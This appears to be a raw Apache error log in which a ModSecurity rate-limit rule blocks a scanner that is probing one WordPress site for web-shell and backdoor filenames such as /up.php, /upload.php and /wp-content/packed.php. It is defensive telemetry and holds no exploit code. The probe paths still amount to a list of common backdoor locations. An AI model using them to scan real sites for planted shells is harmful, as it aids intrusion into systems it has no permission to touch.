[Sat May 23 20:52:07.917231 2026] [:error] [pid 30940:tid 30954] [client 4.213.99.137:1978] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test.php"] [unique_id "ahGi95qUP2XZmzp7RDoM8wAAAAU"]
[Sat May 23 20:52:08.209935 2026] [:error] [pid 44296:tid 44321] [client 4.213.99.137:1581] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test.php"] [unique_id "ahGi-JdrUdFI6ijvMkmMYwAAAVc"]
[Sat May 23 20:52:08.483435 2026] [:error] [pid 30940:tid 30951] [client 4.213.99.137:1285] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/txets.php"] [unique_id "ahGi-JqUP2XZmzp7RDoM9QAAAAI"]
[Sat May 23 20:52:08.823997 2026] [:error] [pid 44325:tid 44336] [client 4.213.99.137:1295] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/txets.php"] [unique_id "ahGi-FgUQb4puB_2yV8lzQAAAYg"]
[Sat May 23 20:52:09.166211 2026] [:error] [pid 44296:tid 44310] [client 4.213.99.137:1633] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/txets.php"] [unique_id "ahGi-ZdrUdFI6ijvMkmMZAAAAUw"]
[Sat May 23 20:52:09.480573 2026] [:error] [pid 30942:tid 31023] [client 4.213.99.137:1720] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/txets.php"] [unique_id "ahGi-dUosz64YFiBlG11xgAAAJQ"]
[Sat May 23 20:52:09.823689 2026] [:error] [pid 30940:tid 30956] [client 4.213.99.137:1137] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin.php"] [unique_id "ahGi-ZqUP2XZmzp7RDoM9gAAAAc"]
[Sat May 23 20:52:10.273483 2026] [:error] [pid 30942:tid 31022] [client 4.213.99.137:1591] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin.php"] [unique_id "ahGi-tUosz64YFiBlG11yAAAAJM"]
[Sat May 23 20:52:10.676825 2026] [:error] [pid 30942:tid 31010] [client 4.213.99.137:1568] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin.php"] [unique_id "ahGi-tUosz64YFiBlG11yQAAAIc"]
[Sat May 23 20:52:10.958853 2026] [:error] [pid 30942:tid 31018] [client 4.213.99.137:1969] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin.php"] [unique_id "ahGi-tUosz64YFiBlG11ygAAAI8"]
[Sat May 23 20:52:11.266077 2026] [:error] [pid 30940:tid 30973] [client 4.213.99.137:1290] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-config-sample.php"] [unique_id "ahGi-5qUP2XZmzp7RDoM-gAAABg"]
[Sat May 23 20:52:11.579017 2026] [:error] [pid 30942:tid 31019] [client 4.213.99.137:1970] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-config-sample.php"] [unique_id "ahGi-9Uosz64YFiBlG11zQAAAJA"]
[Sat May 23 20:52:11.895475 2026] [:error] [pid 25876:tid 25902] [client 4.213.99.137:1683] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-config-sample.php"] [unique_id "ahGi-wSpWUCKPezIBJCuEgAAARg"]
[Sat May 23 20:52:12.202068 2026] [:error] [pid 30941:tid 30983] [client 4.213.99.137:1607] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-config-sample.php"] [unique_id "ahGi_HTIgjSDhiZmvlXvDQAAAEc"]
[Sat May 23 20:52:12.513450 2026] [:error] [pid 44325:tid 44333] [client 4.213.99.137:1308] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/packed.php"] [unique_id "ahGi_FgUQb4puB_2yV8l0QAAAYU"]
[Sat May 23 20:52:12.790002 2026] [:error] [pid 44326:tid 44368] [client 4.213.99.137:1701] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/packed.php"] [unique_id "ahGi_MyrPrcAqE-FOKKgOwAAAc0"]
[Sat May 23 20:52:13.123264 2026] [:error] [pid 30942:tid 31007] [client 4.213.99.137:1932] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/packed.php"] [unique_id "ahGi_dUosz64YFiBlG110wAAAIQ"]
[Sat May 23 20:52:13.394626 2026] [:error] [pid 30941:tid 30989] [client 4.213.99.137:1590] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/packed.php"] [unique_id "ahGi_XTIgjSDhiZmvlXvDgAAAE0"]
[Sat May 23 20:52:13.673439 2026] [:error] [pid 30941:tid 30997] [client 4.213.99.137:1550] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/"] [unique_id "ahGi_XTIgjSDhiZmvlXvDwAAAFU"]
[Sat May 23 20:52:13.990754 2026] [:error] [pid 30941:tid 30988] [client 4.213.99.137:1555] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/"] [unique_id "ahGi_XTIgjSDhiZmvlXvEQAAAEw"]
[Sat May 23 20:52:14.340773 2026] [:error] [pid 30941:tid 30998] [client 4.213.99.137:1311] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/"] [unique_id "ahGi_nTIgjSDhiZmvlXvFAAAAFY"]
[Sat May 23 20:52:14.620411 2026] [:error] [pid 44326:tid 44372] [client 4.213.99.137:1310] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/"] [unique_id "ahGi_syrPrcAqE-FOKKgPAAAAdE"]
[Sat May 23 20:52:14.890037 2026] [:error] [pid 30941:tid 30977] [client 4.213.99.137:1598] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php/.well-known/acme-challenge/file.php"] [unique_id "ahGi_nTIgjSDhiZmvlXvFgAAAEE"]
[Sat May 23 20:52:15.163883 2026] [:error] [pid 30941:tid 30984] [client 4.213.99.137:1711] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php/.well-known/acme-challenge/file.php"] [unique_id "ahGi_3TIgjSDhiZmvlXvGAAAAEg"]
[Sat May 23 20:52:15.433718 2026] [:error] [pid 44325:tid 44338] [client 4.213.99.137:1300] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php/.well-known/acme-challenge/file.php"] [unique_id "ahGi_1gUQb4puB_2yV8l0wAAAYo"]
[Sat May 23 20:52:15.713540 2026] [:error] [pid 25876:tid 25894] [client 4.213.99.137:1670] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/adminfuns.php/.well-known/acme-challenge/file.php"] [unique_id "ahGi_wSpWUCKPezIBJCuEwAAARA"]
[Sat May 23 20:52:16.012407 2026] [:error] [pid 31039:tid 31063] [client 4.213.99.137:1282] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "ahGjAKIYDYo8WvA5zLJGbQAAANY"]
[Sat May 23 20:52:16.283256 2026] [:error] [pid 31039:tid 31049] [client 4.213.99.137:1695] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "ahGjAKIYDYo8WvA5zLJGbgAAAMg"]
[Sat May 23 20:52:16.556432 2026] [:error] [pid 44326:tid 44357] [client 4.213.99.137:1592] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "ahGjAMyrPrcAqE-FOKKgPgAAAcI"]
[Sat May 23 20:52:16.855501 2026] [:error] [pid 44325:tid 44345] [client 4.213.99.137:1570] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "ahGjAFgUQb4puB_2yV8l1AAAAZE"]
[Sat May 23 20:52:17.134760 2026] [:error] [pid 30941:tid 30985] [client 4.213.99.137:1304] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/breads1.php"] [unique_id "ahGjAXTIgjSDhiZmvlXvGgAAAEk"]
[Sat May 23 20:52:17.410613 2026] [:error] [pid 44296:tid 44306] [client 4.213.99.137:1615] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/breads1.php"] [unique_id "ahGjAZdrUdFI6ijvMkmMaQAAAUg"]
[Sat May 23 20:52:17.701579 2026] [:error] [pid 44296:tid 44320] [client 4.213.99.137:1706] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/breads1.php"] [unique_id "ahGjAZdrUdFI6ijvMkmMagAAAVY"]
[Sat May 23 20:52:17.972453 2026] [:error] [pid 31039:tid 31058] [client 4.213.99.137:1684] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/breads1.php"] [unique_id "ahGjAaIYDYo8WvA5zLJGbwAAANE"]
[Sat May 23 20:52:18.308107 2026] [:error] [pid 30941:tid 30983] [client 4.213.99.137:1613] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/must.php"] [unique_id "ahGjAnTIgjSDhiZmvlXvHAAAAEc"]
[Sat May 23 20:52:18.639725 2026] [:error] [pid 44296:tid 44317] [client 4.213.99.137:1299] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/must.php"] [unique_id "ahGjApdrUdFI6ijvMkmMawAAAVM"]
[Sat May 23 20:52:18.920686 2026] [:error] [pid 44296:tid 44318] [client 4.213.99.137:1664] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/must.php"] [unique_id "ahGjApdrUdFI6ijvMkmMbQAAAVQ"]
[Sat May 23 20:52:19.197264 2026] [:error] [pid 44296:tid 44301] [client 4.213.99.137:1668] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/must.php"] [unique_id "ahGjA5drUdFI6ijvMkmMbwAAAUM"]
[Sat May 23 20:52:19.468267 2026] [:error] [pid 44296:tid 44300] [client 4.213.99.137:1666] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up.php"] [unique_id "ahGjA5drUdFI6ijvMkmMcQAAAUI"]
[Sat May 23 20:52:19.769567 2026] [:error] [pid 44325:tid 44351] [client 4.213.99.137:1955] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up.php"] [unique_id "ahGjA1gUQb4puB_2yV8l1gAAAZc"]
[Sat May 23 20:52:20.044115 2026] [:error] [pid 44326:tid 44361] [client 4.213.99.137:1722] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up.php"] [unique_id "ahGjBMyrPrcAqE-FOKKgQgAAAcY"]
[Sat May 23 20:52:20.313322 2026] [:error] [pid 30941:tid 30993] [client 4.213.99.137:1330] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up.php"] [unique_id "ahGjBHTIgjSDhiZmvlXvHwAAAFE"]
[Sat May 23 20:52:20.632895 2026] [:error] [pid 25876:tid 25893] [client 4.213.99.137:1700] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/upload.php"] [unique_id "ahGjBASpWUCKPezIBJCuFAAAAQ8"]
[Sat May 23 20:52:20.902834 2026] [:error] [pid 44325:tid 44334] [client 4.213.99.137:1698] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/upload.php"] [unique_id "ahGjBFgUQb4puB_2yV8l1wAAAYY"]
[Sat May 23 20:52:21.183047 2026] [:error] [pid 44325:tid 44339] [client 4.213.99.137:1681] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/upload.php"] [unique_id "ahGjBVgUQb4puB_2yV8l2AAAAYs"]
[Sat May 23 20:52:21.476660 2026] [:error] [pid 44296:tid 44319] [client 4.213.99.137:1601] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/upload.php"] [unique_id "ahGjBZdrUdFI6ijvMkmMdgAAAVU"]
[Sat May 23 20:52:21.804084 2026] [:error] [pid 30940:tid 30964] [client 4.213.99.137:1595] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/midnight/"] [unique_id "ahGjBZqUP2XZmzp7RDoM-wAAAA8"]
[Sat May 23 20:52:22.164344 2026] [autoindex:error] [pid 25876:tid 25879] [client 4.213.99.137:1710] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/colors/midnight/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat May 23 20:52:34.020978 2026] [:error] [pid 25876:tid 25883] [client 4.213.99.137:1710] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "ahGjEgSpWUCKPezIBJCuJgAAAQU"]
[Sat May 23 20:52:34.290971 2026] [:error] [pid 30942:tid 31017] [client 4.213.99.137:1583] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "ahGjEtUosz64YFiBlG113gAAAI4"]
[Sat May 23 20:52:34.581567 2026] [:error] [pid 31039:tid 31063] [client 4.213.99.137:1280] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "ahGjEqIYDYo8WvA5zLJGeQAAANY"]
[Sat May 23 20:52:34.872684 2026] [:error] [pid 30942:tid 31025] [client 4.213.99.137:1715] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-access.php"] [unique_id "ahGjEtUosz64YFiBlG114QAAAJY"]
[Sat May 23 20:52:35.230070 2026] [:error] [pid 30941:tid 30996] [client 4.213.99.137:1705] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "ahGjE3TIgjSDhiZmvlXvNAAAAFQ"]
[Sat May 23 20:52:35.600933 2026] [:error] [pid 30941:tid 30989] [client 4.213.99.137:1940] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "ahGjE3TIgjSDhiZmvlXvNQAAAE0"]
[Sat May 23 20:52:35.904207 2026] [:error] [pid 30942:tid 31021] [client 4.213.99.137:1578] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "ahGjE9Uosz64YFiBlG114gAAAJI"]
[Sat May 23 20:52:36.258364 2026] [:error] [pid 30941:tid 30986] [client 4.213.99.137:1629] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-load.php"] [unique_id "ahGjFHTIgjSDhiZmvlXvOQAAAEo"]
